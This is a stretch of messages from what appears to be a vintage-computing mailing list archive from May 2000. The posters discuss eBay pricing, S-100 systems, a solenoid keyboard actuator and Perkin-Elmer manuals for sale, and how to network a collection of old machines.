Someone pointed out that this has more or less the effect of making the > auction mechanism more like a sealed bid auction, since snipers > often don't have the time to submit a second bid. > > >From an economic point of view, open bid auctions are biased and > are not a good indicator of proper market value because the price > is not allowed to go down. In a rational market, repeated interaction, > equal visibility and access, and the fact that the price _is_ allowed to go > down as well as up is what makes it possible to find the market equilibrium. > Thus, not even the average price of many eBay auctions is a good > indicator of market value, because all samples are biased. Somebody > already pointed out that eBay is good for sellers. Of course it is > good; the mechanism is biased in their favor. > > Still, for reasons of local scarcity, I am glad that eBay exists. > > From ard at p850ug1.demon.co.uk Wed May 10 12:55:00 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:39 2005 Subject: eBay guilt In-Reply-To: from "Mike Ford" at May 10, 0 10:10:32 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1781 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000510/218edef4/attachment.ksh From eric at brouhaha.com Wed May 10 15:01:00 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:39 2005 Subject: s100 busses! In-Reply-To: <3918D762.18B15E2E@ix.netcom.com> (message from Ron Hudson on Tue, 09 May 2000 20:28:34 -0700) References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> <3918D762.18B15E2E@ix.netcom.com> Message-ID: <20000510200100.21688.qmail@brouhaha.com> > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? There are certainly many still running in such applications (just as there are still many PDP-8s, PDP-11s, Novas, and such), but I don't think any *new* S-100 machines have been manufactured and sold into these applications in the last five years. In the early-to-mid '80s, all of the industrial applications that wanted general-purpose computers (rather than dedicated embedded controllers) started switching over to PCs. From eric at brouhaha.com Wed May 10 15:03:40 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:39 2005 Subject: classiccmp-digest V1 #163 In-Reply-To: <20000510012039.B10763@dbit.dbit.com> (message from John Wilson on Wed, 10 May 2000 01:20:39 -0400) References: <66.36e59e5.2648bcbe@aol.com> <20000509183918.13225.qmail@brouhaha.com> <20000510012039.B10763@dbit.dbit.com> Message-ID: <20000510200340.21698.qmail@brouhaha.com> John Wilson wrote: > Wasn't there some point where they dropped support for the early Macs with > less ROM (64 K vs. 128 K or something??????), or am I making that up? If so, > was it just because thin Macs didn't have space for the bloat, or was there > really something wrong with what was in ROM that was beyond help? They just got tired of supporting it. By now they've dropped support for all 68K Macintoshes, and even the early PowerPC models. From cisin at xenosoft.com Wed May 10 15:08:22 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:39 2005 Subject: Keyboard actuator Message-ID: When it comes to transferring data between mutually incompatible systems, nothing can compare with putting a box full of solenoids on the keyboard! At one time their primary market was as a way to convert a perfectly good typewriter into a ridiculous printer. There were two main contenders: the Rochester Dynatyper (which had a dual board for connecting to the bus of Apple ][ and TRS-80 I/III), and the KGS-80 (which cabled to an ordinary Centronics port) I'm ready to part with my KGS-80. I got it used about 15 years ago, and used it once for exercising sticking keys on a keyboard, and once for transferring a 100 pages of manuscript from a TRS-80 into a Merganthaler typesetting machine. This is THE device that will transfer files to ANYTHING. IF you can stop laughing. Best offer. Help prevent it ending up on e-bay! -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From jfoust at threedee.com Wed May 10 15:02:44 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair In-Reply-To: References: <20000510043148.A11225@dbit.dbit.com> Message-ID: <4.3.0.20000510150152.0221dba0@pc> At 07:48 AM 5/10/00 -0700, foo wrote: >eBay is a sickness. Those who continue to defend the prices paid for >items bought from eBay are only trying to justify in their own minds the >fact that they are spending way too much money on things they really >should not be. >Of course I will be attacked for saying all this, but then addicts do get >bolshie when confronted with the reality of the situation. All this coming from the one who knew about the price of speculums on eBay. :-) - John From eric at brouhaha.com Wed May 10 15:14:53 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay strategies (was Re: Ebay Altair) In-Reply-To: <000510090428.2020c13a@trailing-edge.com> (CLASSICCMP@trailing-edge.com) References: <000510090428.2020c13a@trailing-edge.com> Message-ID: <20000510201453.21819.qmail@brouhaha.com> Tim wrote: > "E-bay experts" at how awful it is. How they tried it once and got outbid > by $1 and lost. Everyone complains about that, but when you are the second-highest bidder in an eBay auction, there's no way to know how much you were outbid by. It only *appears* that you were outbid by the minimum bid increment, due to the nature of the proxy bidding system. It's possible that you were outbid by thousands of dollars. Only the winning bidder and eBay know. From jfoust at threedee.com Wed May 10 15:20:01 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:39 2005 Subject: Keyboard actuator In-Reply-To: Message-ID: <4.3.0.20000510151437.0221def0@pc> At 01:08 PM 5/10/00 -0700, Fred Cisin (XenoSoft) wrote: >This is THE device that will transfer files to ANYTHING. IF you can stop >laughing. Sounds like fun. How could it come close to hitting any key on any keyboard? Are the solenoids positionable? Certainly in some situations, a parallel-to-serial conversion box could capture the bitstream from an archaic computer. That route would have the benefit of a buffer in most cases. Does this gizmo have a buffer? As such, it would be most useful for getting data *into* a system that didn't have a way to import an ordinary text file. You could even write filters to massage the stream in order to hit weird key sequences to reformat the text. - John From mikeford at socal.rr.com Wed May 10 15:14:36 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair In-Reply-To: <3919A76D.35B8E0B@rain.org> References: <009e01bfba1f$f270e260$fd83fea9@office> <20000510043148.A11225@dbit.dbit.com> <002301bfba8c$00de0000$fd83fea9@office> <20000510121039.A12407@dbit.dbit.com> Message-ID: >I've heard a number of (to me) horror stories about people selling things, >but wanting to check first on ebay "to see what it is worth." I rarely deal >with that type of person since I am not interested in paying "retail" :). Just depends, when some seller throws that at me, and I KNOW they aren't a eBay seller, I give them the "other side of eBay speech". Have they ever done a web page, since EACH eBay ad is much like a web page, and only the well done ads get top dollar. What kind of guarantee do they plan on giving me, on eBay if they sell me crap I can post negative feedback so nobody sane will buy from them. Finally whats it worth to them not to have to pack the item, since nobody on eBay is willing to pay above actual shipping costs. Half the time I convince myself I don't want to mess with selling the items on eBay either. Paying retail, phooey, I don't like paying some scrap prices. From mikeford at socal.rr.com Wed May 10 15:24:18 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair In-Reply-To: <000901bfbab1$59046060$0400c0a8@winbook> References: Message-ID: >of food. If you're in the habit of paying $1 for a hamburger, say, and >someone else wants bo buy them all for $1.25, YOU may dislke that, but the Aaaah! Stop torturing me, we all know the 99 cent whopper is gone, don't rub it in. From chris at mainecoon.com Wed May 10 16:54:48 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:51:39 2005 Subject: OT: Re: Keyboard actuator References: <4.3.0.20000510151437.0221def0@pc> Message-ID: <3919DAA8.6827BCA4@mainecoon.com> John Foust wrote: > > At 01:08 PM 5/10/00 -0700, Fred Cisin (XenoSoft) wrote: > >This is THE device that will transfer files to ANYTHING. IF you can stop > >laughing. > > Sounds like fun. How could it come close to hitting any key on any > keyboard? Are the solenoids positionable? This hits a little too close to home. Back in '90 I was involved with a project which had to interface to the Tokyo Stock Exchange. As it turned out there were multiple means of introducing trades into the TSE, all a function of the instrument in question. These consisted of: - Something not completely unlike bisync on a 56K line that could only be used for a handful of instruments. - A system which required writing 5'4" 360K floppies using a proprietary disk format which were then hand carried from the writing station to a separate reader where the trades were snarfed off and uploaded to the TSE (again, for a small universe of instruments) - An async dialup system which one was absolutly prohibited from connecting to anything other than an approved terminal. Naturally this was the system that was used to both input and capture the vast majority of trades. To make things worse, the TSE employed a small army of auditors who would make surprise inspections to assure that you hadn't contaminated their pristine dial-up lines with your own equipment. As a consequence of this, most trading floors included a bizarre piece of hardware which -- you guessed it -- hammered the keyboard with solenoid actuated fingers along with (then quite pricy) OCR hardware to make sense of the stuff being puked back by the exchange. When I first saw all of this stuff I thought it was one of the funniest things I'd ever seen. It was when I realized that it was up to my team to make it work that depression set in... -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From fmc at reanimators.org Wed May 10 17:05:20 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:51:39 2005 Subject: s100 busses! In-Reply-To: Ron Hudson's message of "Tue, 09 May 2000 20:28:34 -0700" References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> <3918D762.18B15E2E@ix.netcom.com> Message-ID: <200005102205.PAA63958@daemonweed.reanimators.org> Ron Hudson wrote: > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? Some years ago (1994 or 1995 I think) someone posted an article to alt.folklore.computers about a manufacturer of voting machines who was still building their own S-100-based design for use in that application. Sorry, I didn't save a copy of the article. -Frank McConnell From xds_sigma7 at hotmail.com Wed May 10 17:23:06 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair Message-ID: <20000510222306.48091.qmail@hotmail.com> Hey now, I can personally vouch that you did indeed get the Interdata 7/32... ;p The real truth is that you can find anything, provided you look hard enough... Hell, the way I got my 3 Interdata 7/32s (well now 2), 2 Perkin-Elmer 3203's, P-E 3205, and 3 P-E 3210's was by doing a search in excite for "interdata 7/32 minicomputer" and lo! I came across an ad (barely 3 hours old) saying "We've got all this stuff for free, if you want it, its yours, just pay shipping, else its scrapped." So I got it. End of story. No Ebaying involved... though half the people who pay stupid prices for say common 11/35's wouldn't know what a 7/32 was if it hit them on the head... I got a Sperry-Univac COBOL training course at a used bookstore... and I got the FEP software for a DECsystem-10/20 at a thrift store for $6. Hell I got my Nova 1210 by posting a "I want old computers" message in the newsgroup co.ads... my point is, if you want it, look harder! I'm not trying to brag, I'm only giving examples... I haven't even been collecting computers for a year yet. But for god's sake, try harder! If I wasn't a year late I would have manuals/software/schematics for my Varian.. but he pitched them.. if I was only one month sooner I would have the disk + tape drives for my Honeywell AND all the manuals + software... So get out there and SAVE the stuff! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From cmcmanis at mcmanis.com Wed May 10 18:17:22 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:39 2005 Subject: Really Why I Hate eBay References: Message-ID: <3919EE02.ED09A65A@mcmanis.com> I think Sellam hit it right on the head. However this is true in other areas as well when you recognize it. I remember the great MIDI-scurge that happened in the early 80's. Here musicians who worked hard at practicing their craft could be replaced by a guy plinking down one note at a time in some studio. Of course being a muscian myself I came to realize that the music doesn't come from the tools, it comes from inside. These latter day collectors (I met one on Ebay just recently who decided he wanted a collection so he bought about 100 pieces of stuff related to the particular computer (no since giving him away if he's senstive about it) and what does he have? 100 pieces of stuff. Not a collection with an understanding about the significance (or lack thereof) of various pieces, who went out of business producing this product only to be reborn in the PC industry as some future magnate. Etc. When they put an escalator up to the top of Mt. Everest then anyone can "climb the tallest mountain." Trust me though, it won't be the same. --Chuck foo wrote: > > Well, upon thinking about it some more it finally struck me why I really > hate eBay. > > Before eBay I was able to build a fairly significantly collection through > a lot of hard work. This included a lot of searching, a lot of walking, a > lot of driving, a lot of bargaining, lot of hauling, some sweat, some > blood, perhaps a few tears, etc. Through all this hard work I was able to > amass a very nice collection of historical computer artifacts. It took > some money as well, but the journey was the reward as they say. > > After eBay came it along, anybody with a little money (or rather a > considerable amount of money in most cases) could amass a collection to > perhaps rival mine without any of the hard work: without the journey. > > I guess it's typical human resentment. I resent the fact that my hard > work could be equaled by a large number of dollars. I feel that a > collection that can be bought so easily can not really be a collection in > the sense that mine is, but something else entirely. > > But what really do I have to be resentful about? I've had the journey, > which is something money can't buy. I have the harrowing stories to tell > and the stories of those whom I've acquired the artifacts from. You can't > get that from eBay (unless you can somehow dramatically depict the act of > picking up a package from your porch). > > So behind all my anti-eBay rants, what I'm saying is, this hobby is much > more rewarding when there has been work involved in creating your > collection. It's kinda like the difference between actually going > out and hunting for your meat as opposed to just picking it off atop your > horse after having it herded towards you. > > Remember, you're not just creating a collection, you're recording a story. > > So there you have it. My true feelings on the matter. It's like Being > Sellam Ismail (only better because you get to go back being you now ;) From xds_sigma7 at hotmail.com Wed May 10 18:11:17 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:39 2005 Subject: TK70 that Don Maslin has/had(?) Message-ID: <20000510231117.67172.qmail@hotmail.com> Hi, Just thought I would say that if someone does get the TK70 from Don, I have the controller (Qbus) available.. Can't guarantee that it works and I don't have the cable, but it's better than nothing! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From foo at siconic.com Wed May 10 17:13:29 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair In-Reply-To: <3.0.2.32.20000510135011.00699340@postoffice3.mail.cornell.edu> Message-ID: On Wed, 10 May 2000, Carlos Murillo wrote: > Of course, I've bought things that I probably shouldn't have > bought (I took risks). On the other hand, in teeny isolated Ithaca there > are no scrapyards and there is only one ham meeting a year (there is > another one close by, so that makes two hamfests a year). Why do you limit yourself to only the yearly hamfest? What about the regular flea markets? What about the thrift stores? I'm sure you have one or the other or both in your area or at least within a 30 mile drive. What about placing an ad in your local paper? WANTED: Cash for your Old Computers! (Be sure to mention 1985 or earlier or else all you'll get is PC schlock.) > My only source of free stuff is the ocassional find at the > dumpster in the EE department. And I am not going to cut short > what little family time I have on weekends in order to drive long > distances to more plentiful lands. Well, you must be an adventurer if you're really to enjoy this. That means occasional long drives. Make it a family event! I guess that article on where to find old computers that I've been meaning to write is still very relevant. I'll dust it off and finish it up. Sellam From dlw at trailingedge.com Wed May 10 18:14:10 2000 From: dlw at trailingedge.com (David Williams) Date: Sun Feb 27 18:51:39 2005 Subject: Perkin-Elmer manuals available Message-ID: <3919A6F2.27231.1FC4A09@localhost> I received this but I'm not interested so I'm passing it along to the group. If anyone is interested contact the person below. ----------------------------------------- From: "jdarren" Subject: Re: Perkin-Elmer manuals Date sent: Wed, 10 May 2000 11:10:34 -0500 Thanks very much for your reply. I'm in Dothan, Alabama. I want $8 each plus shipping. For the entire lot, $325 with shipping included. Item, Vendor, Title, Date --------------------------------- 1, P/E, OS/32 SUPERVISOR CALL (SVC) REFERENCE MANUAL, 1985 2, P/E, OS/32 SYSTEM LEVEL PROGRAMMER REFERENCE MANUAL, 1984 3, P/E, OS/32 8.1 MTM SOFTWARE INSTALLATION GUIDE, 1985 4, P/E, OS/32 MTM SYSTEM PLANNING AND OPERATOR REFERENCE MANUAL, 1985 5, P/E, MULTI-TERMINAL MONITOR (MTM) REFERENCE MANUAL, 1985 6, P/E, OS/32 COPY USER GUIDE, 1985 7, P/E, OS/32 EDIT USER GUIDE, 1984 8, P/E, OS/32 APPLICATION LEVEL PROGRAMMING REFERENCE, 1985 9, P/E, OS/32 LINK REFERENCE MANUAL, 1985 10, P/E, OS/32 AIDS USER GUIDE, 1984 11, P/E, OS/32 SYSTEM SUPPORT RUN-TIME LIBRARY (RTL) REFERENCE MANUAL, 1985 12, P/E, MINI I/O SUBSYSTEM MANUAL, ???? 13, P/E, OS/32 SYSTEM SUPPORT UTILITIES REFERENCE MANUAL, 1985 14, P/E, SPL/32 SPOOLER SYSTEM ADMINISTRATION MANUAL, 1984 15, P/E, OS/32 8.1 SOFTWARE INSTALLATION GUIDE, 1985 16, P/E, OS/32 OPERATOR REFERENCE MANUAL, 1986 17, P/E, ENVIRONMENT CONTROL MONITOR (ECM/32) SYSTEM PROGRAMMING AND OPERATIONS REFERENCE MANUAL, 1984 18, P/E, OS/32 OPERATOR POCKET GUIDE, 1985 19, P/E, OS/32 OPERATIONS PRIMER, 1985 20, P/E, COMMON ASSEMBLY LANGUAGE/32 (CAL/32) REFERENCE MANUAL, 1986 21, P/E, COMMON ASSEMBLY LANGUAGE MACRO/32 PROCESSOR (CAL MACRO/32) LIBRARY UTILITY REFERENCE MANUAL, 1984 22, P/E, OS/32 SYSTEM MACRO LIBRARY REFERENCE MANUAL, 1984 23, P/E, OS/32 BASIC DATA COMMUNICATIONS REFERENCE MANUAL, 1985 24, P/E, NETWORK DRIVERS PROGRAMMING REFERENCE MANUAL, 1984 25, P/E, OS/32 ASYNCHRONOUS COMMUNICATIONS REFERENCE MANUAL, 1981 26, P/E, OS/32 CHARACTER SYNCHRONOUS COMMUNICATIONS REFERENCE MANUAL, 1979 27, CCC, OS/32 MEDIT SOFTWARE INSTALLATION GUIDE, 1988 28, CCC, OS/32 MEDIT SCREEN EDITOR USER GUIDE, 1984 29, CCC, OS/32 MEDIT SCREEN EDITOR QUICK GUIDE, 1985 30, CCC, SERIES 3200 ETHERNET CONTROLLER, 1990 31, CCC, RELEASE NOTES FOR THE NM10B ETHERNET PROTOCOL MODULE, 1986 32, CCC, ETHERNET SPECIFICATIONS, 1980 33, CCC, NETWORK DRIVERS PROGRAMMING REFERENCE MANUAL, 1986 34, CCC, PROCOM OS/32 DRIVERS MANUAL, 1988 35, CCC, MODELS 6312 AND 6312+ VIDEO DISPLAY UNIT (VDU) INSTALLATION MANUAL, 1988 36, CCC, MODELS 6312 AND 6312+ VIDEO DISPLAY UNIT (VDU) USER GUIDE, 1990 37, P/E, M48-013 UNIVERSAL LOGIC INTERFACE INSTRUCTION MANUAL, 1973 38, CCC, 3280MPS INSTALLATION AND CONFIGURATION MANUAL, 1987 39, CCC, MODEL 34-043 POWER SUBSYSTEM THEORY OF OPERATION MANUAL, 1987 40, CCC, DIRECT MEMORY INTERFACE (DMI) THEORY OF OPERATION MANUAL, 1986 41, CCC, COMPOSITE MEMORY MODULE (CMM) THEORY OF OPERATION MANUAL, 1987 42, CCC, SYSTEM BUS (S-BUS) THEORY OF OPERATION MANUAL, 1987 43, CCC, 3280 SYSTEM CONTROL/DIAGNOSTIC SYSTEM (CDS) THEORY OF OPERATION MANUAL, 1987 44, CCC, 3280 CPU THEORY OF OPERATION MANUAL, 1987 45, CCC, XELOS USER GUIDE, 1987 46, CCC, FORTRAN VII RELEASE NOTES, 1990 47, CCC, DEVELOPING PROGRAMS WITH FORTRAN VII, 1990 48, CCC, 3280 AND MICRO3200 PRODUCT OVERVIEW, 1989 49, CCC, VME BUS INTERFACE (VMEBI)/VERSABUS INTERFACE DIAGNOSTIC, 1991 50, CCC, VME BUS INTERFACE (VMEBI) OS/32 DRIVER MANUAL, 1990 51, CCC, VME BUS INTERFACE (VMEBI)/VERSABUS INTERFACE PROGRAMMING MANUAL, 1990 52, CCC, ELECTROSTATIC PRINTER/PLOTTER DIAGNOSTIC PROGRAM DESCRIPTION, 1988 53, CCC, ELECTROSTATIC PRINTER/PLOTTER DRIVER MANUAL, 1987 54, CCC, VME BUS INTERFACE (VMEBI) INSTALLATION AND MAINTENANCE MANUAL, 1990 55, CCC, MULTIPERIPHERAL CONTROLLER (MULTI-LAYER MPC) THEORY OF OPERATION MANUAL, 1989 56, CCC, CDS ERROR MESSAGE AND KEY 2 57, p- e, universal clock module programming manual, 1982 58, p-e, M46-233 line printer interface installation and maintenance manual, 1978 59, p-e, common universal clock module test program, 1983 60, p-e, M48-000, M48-061, M48-002 universal clock (10-bit address) maintenance manual, 1985 61, p-e, common line printer test program, 1981 COMMAND REFERENCE MANUAL, 1989 ---------------------------------- ----- David Williams - Computer Packrat dlw@trailingedge.com http://www.trailingedge.com From rutledge at cx47646-a.phnx1.az.home.com Wed May 10 18:19:34 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:51:39 2005 Subject: OT: Re: Keyboard actuator In-Reply-To: <3919DAA8.6827BCA4@mainecoon.com>; from Chris Kennedy on Wed, May 10, 2000 at 02:54:48PM -0700 References: <4.3.0.20000510151437.0221def0@pc> <3919DAA8.6827BCA4@mainecoon.com> Message-ID: <20000510161934.G23720@electron.quantum.int> On Wed, May 10, 2000 at 02:54:48PM -0700, Chris Kennedy wrote: > - A system which required writing 5'4" 360K floppies using a 5 foot 4 inch floppies? :-) You'd think they'd hold a lot more than 360K. LOL > As a consequence of this, most trading floors included a bizarre > piece of hardware which -- you guessed it -- hammered the > keyboard with solenoid actuated fingers along with (then > quite pricy) OCR hardware to make sense of the stuff being puked > back by the exchange. Gawd. Sounds like something out of _Brazil_. I used to wonder when I was a kid if I could turn my Selectric into a printer... would there be any shortcuts to controlling that ball, or would it be necessary to use solenoids for every key. This was before I knew that Selectrics had in fact been used as tty's back before my time. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From foo at siconic.com Wed May 10 17:25:56 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:39 2005 Subject: Ebay Altair In-Reply-To: <4.3.0.20000510150152.0221dba0@pc> Message-ID: On Wed, 10 May 2000, John Foust wrote: > At 07:48 AM 5/10/00 -0700, foo wrote: > >eBay is a sickness. Those who continue to defend the prices paid for > >items bought from eBay are only trying to justify in their own minds the > >fact that they are spending way too much money on things they really > >should not be. > >Of course I will be attacked for saying all this, but then addicts do get > >bolshie when confronted with the reality of the situation. > > All this coming from the one who knew about the price of speculums on eBay. :-) Mind your manners there, Johnny boy. I was speaking of Mr. Mhyrvold. :) From george at racsys.rt.rain.com Wed May 10 18:34:03 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... In-Reply-To: <3919EE02.ED09A65A@mcmanis.com> Message-ID: And what to do when it is all connected? I've been watching others talk about their collections. I have a minor collection of machines that I'd like to see the majority of them to be powered up and do something in the real world. One of the keys I see is to have them exchange information from/to a common server. I think I have the exhange figured out. The server would probably be running some sort of free unix (freebsd/Linux Whatever) and be connected to each of the diversified clients via RS-232. The Server would act as File server/Time Server(for those without RTC's) as well as a link to a conventional home LAN. Assumeing you could get them connected what nobel project could this mass of diversified machines be commissioned to do? Obviously they are way too slow to do Seti@home (Wouldn't it be a kick if a really old machine found something significant?) but surely there could be some project that could be engineered to be useful? Brainstorming.. Here is a thought.... Redirecting those with serial consoles to the server one could access the old machines from the LAN/WAN/Web might serve some sort of educational function. Other ideas? Does this even make sense? George Rachor george@racsys.rt.rain.com ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX From foo at siconic.com Wed May 10 17:45:35 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... In-Reply-To: Message-ID: On Wed, 10 May 2000, George Rachor wrote: > Assumeing you could get them connected what nobel project could this mass > of diversified machines be commissioned to do? Obviously they are way too > slow to do Seti@home (Wouldn't it be a kick if a really old machine found > something significant?) but surely there could be some project that could > be engineered to be useful? That would make a great exhibit at VCF 4.0. A noble project if I ever saw one! > Does this even make sense? Yes! Putting them up on the net via telnet would be like a cheap geek amusement park. Sellam From lemay at cs.umn.edu Wed May 10 18:46:33 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... In-Reply-To: from George Rachor at "May 10, 2000 04:34:03 pm" Message-ID: <200005102346.SAA00091@caesar.cs.umn.edu> > > Other ideas? Since the old computers will waste tons of electricity, while producing relatively no cpu power in comparison to a modern CPU chip, you should use your connected group as a space heater. > > Does this even make sense? Yes. The only 100% efficient electrical appliance, is a heater. Since by definition, it is supposed to convert electricity into waste, ie, heat or other forms that eventually will become heat ;) -Lawrence LeMay From richard at idcomm.com Wed May 10 18:51:06 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:39 2005 Subject: s100 busses! References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> <3918D762.18B15E2E@ix.netcom.com> <20000510200100.21688.qmail@brouhaha.com> Message-ID: <001901bfbada$9c3ddcc0$0400c0a8@winbook> As the number of expansion slots in a PC approaches zero, the marginal propensity to use something else increases. Of course you have to consider the candidates. There's always that old PC/AT that hasn't been fired up in a few years. There's that stackable PCI stuff. ... and, of course, there's that old S-100 or Multibus-1 box that's been languishing in the closet in the downstairs spare bedroom since '82 or so. Control and telemetry tasks haven't really gotten to be much more demanding over the 20 years intervening, so maybe one of those options should be considered. Yes, you could build hardware to attach to your notebook's EPP port, but do you really want to wed your notebook to those tasks for lengthy periods? Yup! That ol' S-100 box could fill the bill nicely. Even if you just need an SBC like the ones from Intel (for Multibus) or for S-100 from SD Systems, et. al. Think about it! Even an old PDP11/03 would be a candidate, right? Dick ----- Original Message ----- From: Eric Smith To: Sent: Wednesday, May 10, 2000 2:01 PM Subject: Re: s100 busses! > > Does anyone still sell s100 based computers? > > Aren't they used still for process controll and automation? > > There are certainly many still running in such applications (just as > there are still many PDP-8s, PDP-11s, Novas, and such), but I don't > think any *new* S-100 machines have been manufactured and sold into these > applications in the last five years. In the early-to-mid '80s, all > of the industrial applications that wanted general-purpose computers > (rather than dedicated embedded controllers) started switching over to > PCs. > From george at racsys.rt.rain.com Wed May 10 18:55:09 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... In-Reply-To: <200005102346.SAA00091@caesar.cs.umn.edu> Message-ID: The space heater concept isn't lost on me here. The machines would go in a fairly large garage. Winters would be fine. It is the summer that I would worry about. George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Lawrence LeMay wrote: > > > > Other ideas? > > Since the old computers will waste tons of electricity, while producing > relatively no cpu power in comparison to a modern CPU chip, you should > use your connected group as a space heater. > > > > > Does this even make sense? > > Yes. The only 100% efficient electrical appliance, is a heater. Since > by definition, it is supposed to convert electricity into waste, ie, > heat or other forms that eventually will become heat ;) > > -Lawrence LeMay > From george at racsys.rt.rain.com Wed May 10 18:58:16 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... In-Reply-To: Message-ID: At the rate I'm going it would be more like VCF 9.0 but thanks for the encouragement. At work I used to have an old Intel MDS 800 that I would need once in a while for program development. The last time I used it I connected via 'cu' and did most of the work from my office and the machine was in the lab. I wonder whatever happened to that machine. That was a long time ago. George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Vintage Computer GAWD! wrote: > On Wed, 10 May 2000, George Rachor wrote: > > > Assumeing you could get them connected what nobel project could this mass > > of diversified machines be commissioned to do? Obviously they are way too > > slow to do Seti@home (Wouldn't it be a kick if a really old machine found > > something significant?) but surely there could be some project that could > > be engineered to be useful? > > That would make a great exhibit at VCF 4.0. A noble project if I ever saw > one! > > > Does this even make sense? > > Yes! Putting them up on the net via telnet would be like a cheap geek > amusement park. > > Sellam > > From pechter at pechter.dyndns.org Wed May 10 18:59:21 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... In-Reply-To: from George Rachor at "May 10, 2000 04:34:03 pm" Message-ID: <200005102359.TAA22630@bg-tc-ppp588.monmouth.com> > And what to do when it is all connected? > > Brainstorming.. Here is a thought.... > Redirecting those with serial consoles to the server one could access the > old machines from the LAN/WAN/Web might serve some sort of educational > function. > > Other ideas? > > Does this even make sense? > > George Rachor > george@racsys.rt.rain.com > > > ========================================================= > George L. Rachor Jr. george@racsys.rt.rain.com > Beaverton, Oregon http://racsys.rt.rain.com > United States of America Amateur Radio : KD7DCX > Works for me... however I'd need a webcam to see the blinking lights and a robot arm for the toggle switches 8-) Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From richard at idcomm.com Wed May 10 19:01:19 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:39 2005 Subject: Keyboard actuator References: <4.3.0.20000510151437.0221def0@pc> Message-ID: <003301bfbadc$09443660$0400c0a8@winbook> I knew someone who had one of these gadgets back in the '70's. He wore out a selectric in about two weeks. Dick ----- Original Message ----- From: John Foust To: Sent: Wednesday, May 10, 2000 2:20 PM Subject: Re: Keyboard actuator > At 01:08 PM 5/10/00 -0700, Fred Cisin (XenoSoft) wrote: > >This is THE device that will transfer files to ANYTHING. IF you can stop > >laughing. > > Sounds like fun. How could it come close to hitting any key on any > keyboard? Are the solenoids positionable? > > Certainly in some situations, a parallel-to-serial conversion box > could capture the bitstream from an archaic computer. That route > would have the benefit of a buffer in most cases. Does this gizmo > have a buffer? > > As such, it would be most useful for getting data *into* a system > that didn't have a way to import an ordinary text file. You could > even write filters to massage the stream in order to hit weird > key sequences to reformat the text. > > - John > From cmcmanis at mcmanis.com Wed May 10 19:12:39 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:39 2005 Subject: Getting all the system connected... References: Message-ID: <3919FAF7.296A0CC8@mcmanis.com> Well, I'm using a VAX to teach my daughter C programming. She likes having the "weird" computer all to herself. (I'll have to get after her about playing rogue though :-) I taught her binary/assembly on the PDP-8. So far the ideal cirriculum seems to be: Cardiac - basic computer concepts PDP-8 - Cardiac in hardware :-) VAX - High level languages I'll probably use the PDP-11/23 to teach her about operating systems because it has such an easy to use MMU that one can 